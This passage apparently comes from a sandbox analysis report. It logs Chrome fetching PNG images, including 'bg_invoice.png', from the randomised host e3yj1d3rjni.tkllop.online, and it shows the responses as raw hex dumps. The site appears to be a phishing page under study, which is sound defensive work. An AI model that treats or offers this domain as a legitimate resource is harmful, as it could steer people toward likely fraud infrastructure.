2024-10-29 09:47:18 UTC	1369	IN	Data Raw: 52 4a 29 a5 94 52 4a 29 a5 94 52 0b c0 69 17 d0 4e c3 c3 c3 7d 8d 46 e3 43 44 b4 0a c0 87 88 e8 3c 11 39 93 99 cf 20 a2 33 99 f9 74 22 7a 13 c0 34 33 1f 14 91 d7 98 79 0f 33 bf 08 e0 f9 81 81 81 e7 46 47 47 8f a5 fb 57 74 87 ac 07 cb 78 9e b7 4e 44 ae 60 e6 4b 01 bc 9f 99 9d f9 ee 0c 40 1d c0 7f 30 f3 13 44 b4 c5 f7 fd 97 da 58 eb 3b 4a 26 83 e5 ba ee b9 cc bc 19 c0 4d cc 7c 5e 52 c7 01 f0 9c 31 e6 eb d3 d3 d3 ff b2 73 e7 ce e9 a4 8e d3 8d 32 15 2c d7 75 57 10 d1 e7 00 6c 34 c6 9c 62 eb b8 00 26 8d 31 77 f7 f6 f6 7e 65 db b6 6d 6f d8 3a 6e 96 65 22 58 a5 52 e9 f4 7a bd 7e 07 80 5b 6d 06 ea 64 00 26 99 f9 8e 6a b5 fa f7 44 24 69 d5 91 05 1d 1f 2c d7 75 4b 44 f4 f5 24 bb bc 79 d8 c9 cc 37 55 2a 95 1f a5 5d 48 a7 ea d8 60 0d 0f 0f f7 d5 eb f5 bb 00 dc c2 cc Data Ascii: RJ)RJ)RiN}FCD<9 3t"z43y3FGGWtxND`K@0DX;J&M\|^R1s2,uWl4b&1w~emo:ne"XRz~[md&jD$i,uKD$y7U*]H`
2024-10-29 09:47:18 UTC	1369	IN	Data Raw: b4 06 4c 8d 31 d5 b0 e5 00 2e 76 5d b7 95 ee 3c 93 ac 04 0b 40 e8 80 25 80 9f ce e3 51 de 3f 03 10 e7 ad e4 37 01 fc 79 8b fb 6e a7 d0 ff 30 33 0f 33 be cf 72 2d d6 59 09 16 33 7f 20 62 d5 f7 5b dd 97 ef fb ff 69 8c d9 44 11 f7 e6 88 88 00 4c 03 b8 a1 56 ab bd d0 ea fe db c5 f7 fd ff 16 91 d0 a7 48 8d 31 bf 65 bb 1e db 6c b5 58 a1 c3 0c 22 32 af 17 3e 2b 95 ca 63 22 b2 06 c0 93 f4 b6 91 6e 00 01 80 27 8d 31 ab 7d df 7f 7c 9e e5 b6 cd cc 7b 8d 61 ce b5 5a 48 0a ac f4 f5 cc fc 1b 61 cb 8d 31 51 ff f0 73 9a 69 8d 46 5c d7 fd 35 22 5a e1 38 8e 39 7e fc f8 9e 89 89 89 9f cf 77 9f ed 06 60 2f 33 7f e4 e4 e5 22 72 66 1a f5 d8 64 25 58 22 72 a6 31 a1 8d e3 82 4f ac 67 4e ce bf b7 d0 fd 24 01 40 e8 df c7 cc 5d 1f 2c 5b e3 58 a1 b7 60 8c 31 5d 3d 73 8b e3 38 51 6f Data Ascii: L1.v]<@%Q?7yn033r-Y3 b[iDLVH1elX"2>+c"n'1}\|{aZHa1QsiF\5"Z89~w`/3"rfd%X"r1OgN$@],[X`1]=s8Qo
2024-10-29 09:47:18 UTC	655	IN	Data Raw: 69 77 b0 88 88 3c cf 5b 2b 22 db 98 b9 d9 04 22 8f 00 d8 d8 89 e1 ea 88 ab c2 66 c6 c6 c6 5e ab 56 ab 57 02 b8 12 c0 8b 69 d5 d1 e2 6c cd 0b 16 e7 91 1b 22 ba 06 c0 03 9d 78 b5 d8 f1 c1 9a e5 fb fe 16 22 fa 20 11 6d a2 79 cc 5d ba 00 53 41 10 7c 35 97 cb 59 7f 6b 3b ce 50 84 31 e6 da 4e 0c 57 c7 77 85 51 8a c5 62 5e 44 6e 26 a2 6b 28 99 59 6b be 4f 44 0f 35 1a 8d 7f 9c 7d ca a2 50 28 84 de b7 4b a2 2b 7c bb 98 4f 45 fc 1b 33 df d8 29 dd 62 66 83 35 cb 75 dd 5e 63 4c 11 c0 08 11 ad 13 91 0f b4 7a 55 47 74 e2 aa 92 88 be c7 cc 4f 00 d8 ea fb fe 2b 27 6f 93 56 b0 88 62 8f 73 3d 0c e0 86 4e 08 57 e6 83 75 b2 52 a9 74 7a 10 04 17 11 d1 85 00 ce 23 a2 73 45 e4 34 63 cc 69 44 44 22 f2 86 31 e6 75 22 7a 1d c0 61 66 7e 01 c0 0f c2 82 74 b2 a8 60 11 d1 6d 00 62 df Data Ascii: iw<[+""f^VWil"x" my]SA\|5Yk;P1NWwQb^Dn&k(YkOD5}P(K+\|OE3)bf5u^cLzUGtO+'oVbs=NWuRtz#sE4ciDD"1u"zaf~t`mb

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49775	104.21.57.143	443	2476	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:17 UTC	383	OUT	GET /static/media/person_workshcool.png HTTP/1.1 Host: e3yj1d3rjni.tkllop.online Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-29 09:47:18 UTC	1051	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:18 GMT Content-Type: image/png Content-Length: 5421 Connection: close Content-Disposition: inline; filename="person_workshcool.png" Last-Modified: Sat, 04 Nov 2023 15:29:02 GMT X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Referrer-Policy: same-origin Vary: origin Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 3 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7%2BW5PioQjxUDkxMDn0CeC8pAv24M4C7ogJPybyz9%2BXM6O29mywoQcfVCrwU3Hb1IxEIphihKH0inEmP1gQpt%2FuzfuRet3uF2ajUJQQ9yI8dYFCxx9GTX67wRY4yCoaHNcphe5Tviy2rk%2Bgkp"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da23e4d9df34757-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1257&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2832&recv_bytes=961&delivery_rate=2225980&cwnd=251&unsent_bytes=0&cid=f219dcfaea3ee2cf&ts=154&x=0"
2024-10-29 09:47:18 UTC	318	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 96 00 00 00 96 08 06 00 00 00 3c 01 71 e2 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 00 5f 7a 54 58 74 52 61 77 20 70 72 6f 66 69 6c 65 20 74 79 70 65 20 41 50 50 31 00 00 08 99 e3 4a 4f cd 4b 2d ca 4c 56 28 28 ca 4f cb cc 49 e5 52 00 03 63 13 2e 13 4b 13 4b a3 44 03 03 03 0b 03 08 30 34 30 30 36 04 92 46 40 b6 39 54 28 d1 00 05 98 98 9b a5 01 a1 b9 59 b2 99 29 88 cf 05 00 4f ba 15 68 1b 2d d8 8c 00 00 14 79 49 44 41 54 78 9c ed 9d 7f 70 55 e5 99 c7 bf cf 7b f3 4b b1 e1 47 30 39 e7 92 40 90 09 dd 2e a2 19 50 28 62 86 19 5b 7e d8 66 97 71 00 b7 2d 54 94 15 ec ba 95 da d2 15 4b 6d c5 ba 0b 4a c1 ca 6e b5 42 0b d2 6a 15 0b bb 2a 22 ab 66 14 84 22 a6 1b 31 36 38 ea d0 92 00 b9 f7 9c 7b 6b 08 Data Ascii: PNGIHDR<qsBIT\|d_zTXtRaw profile type APP1JOK-LV((OIRc.KKD04006F@9T(Y)Oh-yIDATxpU{KG09@.P(b[~fq-TKmJnBj*"f"168{k
2024-10-29 09:47:18 UTC	1369	IN	Data Raw: 50 00 80 00 e4 00 18 d2 f5 68 2b 80 76 00 0c a0 49 d7 f5 26 21 44 13 80 26 00 c7 99 b9 21 10 08 34 30 f3 31 49 92 8e 13 11 3b fb 9d 79 03 72 5b 80 13 30 33 a9 aa fa 25 66 9e 06 e0 3a 00 d7 00 b8 1a 40 be cd 43 b7 30 73 1d 11 d5 01 a8 21 a2 77 24 49 fa 38 1d cc 96 b2 c6 6a 6c 6c 2c 13 42 dc 0c 60 26 80 1b 00 8c 70 59 12 00 80 99 9b 84 10 ef 30 73 95 a6 69 ff 5b 52 52 f2 17 b7 35 d9 41 ca 18 8b 99 29 1c 0e df 20 84 58 c0 cc 95 00 c6 b9 ad 29 16 88 e8 2f cc bc 9b 99 77 04 83 c1 43 a9 12 cd 7c 6f ac 48 24 32 51 d3 b4 3b 98 79 3e 11 95 b8 ad 27 49 4e 00 d8 21 84 d8 26 49 d2 11 b7 c5 24 83 2f 8d a5 aa ea 10 4d d3 fe 89 99 97 0a 21 be ec b6 1e 3b 20 a2 43 ba ae ff 9a 88 5e 08 06 83 67 dd d6 13 2f be 32 96 aa aa 85 9a a6 dd 0d e0 bb 44 54 e0 b6 1e 87 68 21 a2 6d Data Ascii: Ph+vI&!D&!401I;yr[03%f:@C0s!w$I8jll,B`&pY0si[RR5A) X)/wC\|oH$2Q;y>'IN!&I$/M!; C^g/2DTh!m
2024-10-29 09:47:18 UTC	1369	IN	Data Raw: b7 df 7e 1b 07 0f 1e 34 6c 9b 3e 7d 3a 66 cc 98 91 90 2e 21 04 0a 0a 0a 50 54 54 94 d0 f3 0e 71 3e 2b 2b ab b4 b0 b0 50 35 6a 34 35 96 a2 28 6b 98 f9 47 f6 e9 4a 9c a3 47 8f 62 cb 96 2d 38 71 e2 84 db 52 6c 65 cc 98 31 58 b2 64 09 ca ca 12 7a 0f ec 04 0f 07 83 c1 9f 1a 35 18 1a 4b 55 d5 21 ba ae 9f 80 47 8e 09 e9 cd d1 a3 47 f1 f0 c3 0f a3 b3 b3 d3 6d 29 8e 90 9d 9d 8d 07 1e 78 c0 93 e6 62 e6 26 22 1a 6d 54 87 de 70 8e a5 eb fa 37 e0 41 53 01 c0 96 2d 5b d2 c6 54 c0 85 5f 26 b6 6e dd ea b6 0c 43 88 a8 80 88 16 18 b5 99 4d de 97 da a8 27 61 22 91 48 ca 7f fc 19 71 fc f8 71 44 a3 51 b7 65 98 71 a7 d1 c5 7e c6 8a 44 22 13 01 4c b5 5d 4e 02 38 b1 b3 c6 ab 9c 3a 75 ca 6d 09 86 30 f3 8d 8a a2 fc 7d df eb fd 8c a5 69 da ed 8e 28 4a 80 44 7f fb 4b 05 3c fe bd f7 Data Ascii: ~4l>}:f.!PTTq>++P5j45(kGJGb-8qRle1Xdz5KU!GGm)xb&"mTp7AS-[T_&nCM'a"HqqDQeq~D"L]N8:um0}i(JDK<
2024-10-29 09:47:18 UTC	1369	IN	Data Raw: 37 c8 cd cd c5 84 09 c6 bb de 0e 1f 3e 1c 53 05 bf 5d bb 76 e1 f0 e1 c3 86 6d 13 26 4c 48 e7 3c ad 7a 21 84 f8 ab db 2a dc 62 d6 ac 59 a6 6d cf 3f ff 3c 36 6f de 6c 58 93 b4 a5 a5 05 9b 36 6d c2 f6 ed db 13 ea 3b d5 d1 34 ed 58 96 24 49 c7 15 45 69 41 1a ee 2d 2c 2f 2f 47 59 59 19 8e 1e 3d 6a d8 be 6f df 3e 1c 3c 78 10 13 26 4c 40 30 18 04 00 84 c3 61 7c f8 e1 87 e8 e8 e8 30 ed b7 ac ac 0c e5 e5 e5 b6 68 f6 01 cd c5 c5 c5 8d 82 88 98 99 eb dc 56 e3 16 77 de 79 a7 e9 72 01 70 a1 6c 51 6d 6d 2d f6 ec d9 83 3d 7b f6 a0 b6 b6 76 40 53 65 67 67 e3 8e 3b ee b0 43 aa 5f f8 33 70 b1 76 c3 9f dd d5 e2 1e 25 25 25 b8 ed b6 db 2c eb 6f f1 e2 c5 28 2d 2d b5 ac 3f bf 41 44 75 c0 c5 6a 33 ef b9 a8 c5 55 3e fa e8 23 4b 4b 6d ef da b5 0b 75 75 69 fb 01 00 5d d7 0f 03 17 Data Ascii: 7>S]vm&LH<z!*bYm?<6olX6m;4X$IEiA-,//GYY=jo><x&L@0a\|0hVwyrplQmm-={v@Segg;C_3pv%%%,o(--?ADuj3U>#KKmuui]
2024-10-29 09:47:18 UTC	996	IN	Data Raw: ac 59 b3 c6 6d 09 a9 c8 dd 83 ad b0 9b 91 f0 0e 55 59 96 7f 47 44 bf 49 f4 f9 44 30 ab 19 9a 0e b8 f0 bd 3f 15 0c 06 9f 4b f4 e1 a4 b6 3e 7f fe f9 e7 df 05 f0 7f c9 f4 11 0f 85 85 85 20 22 a7 86 f3 0c 44 e4 74 96 44 75 6b 6b eb bd c9 74 90 94 b1 ca ca ca ce 03 98 0f c0 f8 50 1a 8b 19 3a 74 68 52 9b 4a fd ca 75 d7 5d 67 7a 18 94 0d 44 74 5d 9f df f5 b3 4d 98 a4 8b 35 04 83 c1 13 44 54 09 c0 91 33 6b 97 2c 59 62 6b ae ba d7 28 2a 2a 72 ac f4 24 33 9f 63 e6 5b ba de 0f 27 85 65 9f 2b 8a a2 cc 63 e6 3f c0 02 b3 0e 46 6b 6b 2b 5e 7c f1 45 54 57 57 e3 d4 a9 53 a6 c5 38 fc 0a 11 a1 a0 a0 00 53 a6 4c c1 2d b7 dc 62 ba 6d df 62 74 22 5a 20 cb f2 ff 58 d1 99 a5 13 96 70 38 7c 2f 80 5f 58 d9 67 06 67 60 e6 7b 46 8d 1a f5 4b ab fa b3 34 ba 04 83 c1 c7 89 68 b5 95 7d Data Ascii: YmUYGDID0?K> "DtDukktP:thRJu]gzDt]M5DT3k,Ybk(**r$3c['e+c?Fkk+^\|ETWWS8SL-bmbt"Z Xp8\|/_Xgg`{FK4h}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49777	104.21.57.143	443	2476	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:17 UTC	376	OUT	GET /static/media/logo-off-1.png HTTP/1.1 Host: e3yj1d3rjni.tkllop.online Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-29 09:47:18 UTC	1047	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:18 GMT Content-Type: image/png Content-Length: 330 Connection: close Content-Disposition: inline; filename="logo-off-1.png" Last-Modified: Sat, 04 Nov 2023 15:12:26 GMT X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Referrer-Policy: same-origin Vary: origin Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 3 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8kEOjAo4mi6cVdR%2FzD4uN260k%2B2CaHPejiH7qu3UjL6W%2B150%2BLn4Ka2ZuLSoR7cn4T5ZaMDthQJEfSxd3zpD%2FQisb2UKe0Q3%2BRHWgfZ4ePQF8BHdtiVfXdY04Fcc3fzpLpwK8WuWC8iY8uFM"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da23e4db896e93a-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1346&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2830&recv_bytes=954&delivery_rate=2109249&cwnd=248&unsent_bytes=0&cid=ac28df334268ff79&ts=157&x=0"
2024-10-29 09:47:18 UTC	322	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 80 00 00 00 80 08 03 00 00 00 f4 e0 91 f9 00 00 00 03 73 42 49 54 08 08 08 db e1 4f e0 00 00 00 0f 50 4c 54 45 47 70 4c f2 50 22 7f ba 00 00 a4 ef ff b9 00 a0 04 f9 f2 00 00 00 01 74 52 4e 53 00 40 e6 d8 66 00 00 00 01 62 4b 47 44 00 88 05 1d 48 00 00 00 5f 7a 54 58 74 52 61 77 20 70 72 6f 66 69 6c 65 20 74 79 70 65 20 41 50 50 31 00 00 08 99 e3 4a 4f cd 4b 2d ca 4c 56 28 28 ca 4f cb cc 49 e5 52 00 03 63 13 2e 13 4b 13 4b a3 44 03 03 03 0b 03 08 30 34 30 30 36 04 92 46 40 b6 39 54 28 d1 00 05 98 98 9b a5 01 a1 b9 59 b2 99 29 88 cf 05 00 4f ba 15 68 1b 2d d8 8c 00 00 00 62 49 44 41 54 78 9c ed ce 49 0d 00 30 10 03 b1 f4 e0 8f b9 52 17 42 be 1e 00 23 67 35 e5 b7 9b 02 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: PNGIHDRsBITOPLTEGpLP"tRNS@fbKGDH_zTXtRaw profile type APP1JOK-LV((OIRc.KKD04006F@9T(Y)Oh-bIDATxI0RB#g5
2024-10-29 09:47:18 UTC	8	IN	Data Raw: 49 45 4e 44 ae 42 60 82 Data Ascii: IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49776	104.21.57.143	443	2476	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:17 UTC	379	OUT	GET /static/media/person_office.png HTTP/1.1 Host: e3yj1d3rjni.tkllop.online Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-29 09:47:18 UTC	1047	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:18 GMT Content-Type: image/png Content-Length: 6045 Connection: close Content-Disposition: inline; filename="person_office.png" Last-Modified: Sat, 04 Nov 2023 15:29:22 GMT X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Referrer-Policy: same-origin Vary: origin Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 3 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JrwqcZmc6ZZfsfdF31XUEXygvG%2FnLRaQV2hc7zs9O9i765bIKX4%2Bq7vWhE4AT%2FQ3SLoWpjGdRl2r1YRiIJRor%2FVfxXuyOAfNRJv13iZmh0Vvls80UikzZEMig1Zpp1uwdhndd6lsUffaXZFs"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da23e4dba882832-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1362&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2831&recv_bytes=957&delivery_rate=2077474&cwnd=234&unsent_bytes=0&cid=5abbcaf3fa3534f9&ts=156&x=0"
2024-10-29 09:47:18 UTC	322	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 96 00 00 00 96 08 06 00 00 00 3c 01 71 e2 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 00 5f 7a 54 58 74 52 61 77 20 70 72 6f 66 69 6c 65 20 74 79 70 65 20 41 50 50 31 00 00 08 99 e3 4a 4f cd 4b 2d ca 4c 56 28 28 ca 4f cb cc 49 e5 52 00 03 63 13 2e 13 4b 13 4b a3 44 03 03 03 0b 03 08 30 34 30 30 36 04 92 46 40 b6 39 54 28 d1 00 05 98 98 9b a5 01 a1 b9 59 b2 99 29 88 cf 05 00 4f ba 15 68 1b 2d d8 8c 00 00 16 e9 49 44 41 54 78 9c ed 9d 7b 74 54 d5 bd c7 bf bf 33 03 89 49 44 34 24 99 39 93 40 80 46 0c 5c b4 70 91 a7 14 17 82 17 2c 95 a5 20 74 15 14 94 8b 14 6a 97 0f 2a 0f 91 96 b6 5c 50 5b 7b bd 5e e9 03 85 42 d4 bb 14 84 5e 29 f5 5a b0 0a 28 20 a8 08 84 08 88 26 3c 32 e7 cc 04 52 5e 49 20 24 Data Ascii: PNGIHDR<qsBIT\|d_zTXtRaw profile type APP1JOK-LV((OIRc.KKD04006F@9T(Y)Oh-IDATx{tT3ID4$9@F\p, tj*\P[{^B^)Z( &<2R^I $
2024-10-29 09:47:18 UTC	1369	IN	Data Raw: 5a 77 69 25 80 4b 00 18 40 b9 aa aa e5 82 20 94 03 28 07 70 8c 99 8f 7a 3c 9e a3 cc 5c ec f3 f9 8e 11 11 5b fb 93 39 03 b2 5b 80 15 30 33 85 42 a1 7c 66 1e 04 a0 1f 80 5b 01 fc 0b 80 0e 26 0f 7d 8e 99 0b 89 a8 10 c0 e7 44 b4 c3 e7 f3 1d 6a 0b c6 16 b7 86 55 5a 5a 9a 27 08 c2 68 00 23 01 0c 06 70 93 cd 92 00 00 cc 5c 2e 08 c2 0e 66 de ac 28 ca ff e5 e4 e4 7c 63 b7 26 33 88 1b c3 62 66 92 24 69 b0 20 08 0f 30 f3 18 00 dd ed d6 14 09 44 f4 0d 33 6f 64 e6 b5 a2 28 ee 8c 97 bb 99 eb 0d 2b 1c 0e f7 56 14 e5 61 66 1e 4f 44 39 76 eb 89 91 e3 00 d6 0a 82 b0 ca e7 f3 1d b0 5b 4c 2c b8 d2 b0 42 a1 50 aa a2 28 13 99 79 ba 20 08 03 ed d6 63 06 44 b4 53 55 d5 57 89 e8 6d 51 14 ab ec d6 13 2d ae 32 ac 50 28 94 a9 28 ca 2c 00 8f 11 51 ba dd 7a 2c e2 1c 11 ad aa ad ad 7d Data Ascii: Zwi%K@ (pz<\[9[03B\|f[&}DjUZZ'h#p\.f(\|c&3bf$i 0D3od(+VafOD9v[L,BP(y cDSUWmQ-2P((,Qz,}
2024-10-29 09:47:18 UTC	1369	IN	Data Raw: 64 64 64 20 39 f9 f2 af e1 e2 c5 8b 38 79 f2 24 64 59 46 38 1c 8e b8 af dc dc 5c 3c fd f4 d3 b8 f1 c6 1b a3 d6 ee 50 aa bd 5e 6f 6e 66 66 66 48 ab 52 d7 b0 64 59 5e c2 cc f3 cd d3 65 1d e5 e5 e5 58 bc 78 71 8b 86 40 44 e8 d9 b3 27 fa f7 ef 8f fe fd fb e3 86 1b 6e 68 b1 df fd fb f7 63 c7 8e 1d 28 2a 2a 6a 51 87 cf e7 c3 b3 cf 3e 8b 9b 6e 72 c4 21 19 46 f0 6b 51 14 7f ae 55 a1 69 58 a1 50 28 55 55 d5 e3 70 c8 31 21 b1 50 51 51 81 45 8b 16 41 92 24 dd 36 44 84 7e fd fa 61 dc b8 71 e8 dc b9 73 ab c6 39 76 ec 18 36 6c d8 d0 e2 63 36 10 08 60 d1 a2 45 48 4d 4d 6d b6 9d 1b 60 e6 72 22 ea ac 95 87 5e d3 b0 24 49 9a 06 e0 35 d3 95 99 8c a2 28 58 b2 64 09 0e 1e 3c a8 db 26 23 23 03 b3 66 cd 42 8f 1e 3d 0c 19 b3 b0 b0 10 2b 57 ae 6c f6 ee d8 ab 57 2f cc 9f 3f 1f 82 Data Ascii: ddd 98y$dYF8\<P^onfffHRdY^eXxq@D'nhc(**jQ>nr!FkQUiXP(UUp1!PQQEA$6D~aqs9v6lc6`EHMMm`r"^$I5(Xd<&##fB=+WlW/?
2024-10-29 09:47:18 UTC	1369	IN	Data Raw: df ba 75 2b 56 af 5e ad bb 6f 67 04 cc 8c 95 2b 57 e2 e3 8f 3f d6 ac 6f df be 3d a6 4d 8b 9b d4 63 8d 49 8a 9f 57 91 46 88 a2 88 89 13 27 ea d6 6f da b4 09 2f bf fc 32 2e 5c b8 60 f8 d8 55 55 55 78 f1 c5 17 f1 e1 87 1f ea b6 99 38 71 22 7c 3e 9f e1 63 3b 05 81 99 9d b3 f5 6f 30 f7 dc 73 0f fa f5 d3 3f f5 6e f7 ee dd 78 e6 99 67 9a 4d 1c 12 2d 45 45 45 58 b0 60 81 6e b4 10 00 f4 ef df 1f a3 46 8d 32 6c 4c 07 52 4d 92 24 9d 01 d0 7c 86 31 17 53 5d 5d 8d c5 8b 17 37 1b 05 43 44 18 30 60 00 ee bf ff 7e 64 67 67 b7 6a 9c d2 d2 52 ac 59 b3 06 9f 7f fe 79 b3 ed f2 f2 f2 b0 60 c1 82 78 4b 1b d9 98 d3 24 49 52 18 97 4f d5 8c 5b ce 9f 3f 8f a5 4b 97 b6 b8 19 5d 9f d1 ef 8e 3b ee c0 6d b7 dd d6 e2 e1 00 e5 e5 e5 28 2c 2c c4 96 2d 5b 22 8a b2 e9 d6 ad 1b e6 cf 9f ef Data Ascii: u+V^og+W?o=McIWF'o/2.\`UUUx8q"\|>c;o0s?nxgM-EEEX`nF2lLRM$\|1S]]7CD0`~dggjRYy`xK$IRO[?K];m(,,-["
2024-10-29 09:47:18 UTC	1369	IN	Data Raw: 16 2b 8a 9a 12 9f cf 77 4d 78 52 e3 f3 0a 19 c0 3b 96 4a 8a 12 bd 85 d0 9c 9c 1c dd 14 46 6e 60 e0 c0 81 ba 6f 89 9b 36 6d b2 58 4d 74 10 d1 db 75 b6 d3 40 93 8d 29 41 10 56 59 a6 28 4a ce 9c 39 a3 9b f6 71 ec d8 b1 96 1c c7 6b 16 82 20 e0 de 7b ef d5 ac 2b 2c 2c c4 d9 b3 67 2d 56 14 15 05 8d 0b 9a 18 96 cf e7 3b a0 aa aa 23 67 8c bb 76 ed d2 7c 4b ba e1 86 1b 5c 7d b7 aa 67 d0 a0 41 9a a7 94 29 8a 82 5d bb 76 d9 a0 28 22 3e f6 fb fd 4d 62 ea 34 b7 d2 89 e8 55 f3 f5 44 8f 5e d8 fa 90 21 43 e2 22 b4 ca eb f5 62 d0 a0 41 9a 75 7b f7 ee b5 58 4d 64 10 d1 0a ad 72 3d c3 7a 0b 80 a3 4e 0d aa a9 a9 d1 4d 0c ab f7 c7 70 23 83 07 6b 9f 97 75 f0 e0 41 27 1e 8b 72 4a 6f 25 41 d3 b0 44 51 ac 02 f0 07 53 25 45 49 71 71 b1 e6 d1 25 a9 a9 a9 ba 47 b5 b9 91 ee dd bb 23 Data Ascii: +wMxR;JFn`o6mXMtu@)AVY(J9qk {+,,g-V;#gv\|K\}gA)]v(">Mb4UD^!C"bAu{XMdr=zNMp#kuA'rJo%ADQS%EIqq%G#
2024-10-29 09:47:18 UTC	247	IN	Data Raw: 63 06 44 f4 09 80 d7 98 79 ad 13 e7 50 2d e1 4a c3 ba 1a 59 96 f3 01 4c 65 e6 09 00 72 6d 96 13 2b 25 44 f4 36 33 af 16 45 d1 5d c7 ab 36 c2 f5 86 55 0f 33 53 38 1c ee af aa ea 04 00 63 00 dc 6c b7 a6 48 60 e6 c3 44 b4 51 10 84 35 56 6e 12 9b 4d dc 18 56 63 c2 e1 70 37 55 55 47 01 18 c9 cc 43 e0 1c 77 9d 32 00 db 89 68 33 11 bd ef f3 f9 4a ec 16 64 06 71 6b 58 8d 09 06 83 3d 00 0c 26 a2 7e 00 7a d7 fd d3 3e d6 d4 38 ce 00 d8 0f e0 00 33 7f 0e 60 87 53 56 c6 cd a6 cd 18 96 16 c1 60 30 47 10 84 6e 00 72 55 55 ed 4a 44 5d 88 28 9d 99 d3 99 39 9d 88 d2 01 78 00 b4 03 90 56 77 59 05 80 1a 00 0a 33 97 13 51 39 11 95 33 73 39 33 1f 13 04 a1 04 40 89 a2 28 c5 46 44 14 bb 95 ff 07 8e 4e 4a ac 93 a5 90 05 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: cDyP-JYLerm+%D63E]6U3S8clH`DQ5VnMVcp7UUGCw2h3JdqkX=&~z>83`SV`0GnrUUJD](9xVwY3Q93s93@(FDNJIENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	49779	104.21.57.143	443	2476	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:17 UTC	376	OUT	GET /static/media/bg_invoice.png HTTP/1.1 Host: e3yj1d3rjni.tkllop.online Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-29 09:47:18 UTC	1044	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:18 GMT Content-Type: image/png Content-Length: 344709 Connection: close Content-Disposition: inline; filename="bg_invoice.png" Last-Modified: Sat, 04 Nov 2023 15:12:40 GMT X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Referrer-Policy: same-origin Vary: origin Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 3 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3%2BWOSWmml46n4N65hRoSTZcHA7ar4GFFybwaBb9t2zs5UCjRZ0PHn2Y8P6fJfIcr8VINBhJqg8Zg%2Fmwh7eWAHgdPNEJVXCVubF6%2BYBCRqi4vaCZF09yxtzax6v9u4ALaG01pzyjufTpTtEOR"}],"group":"cf-nel","max_age":604800} NEL: 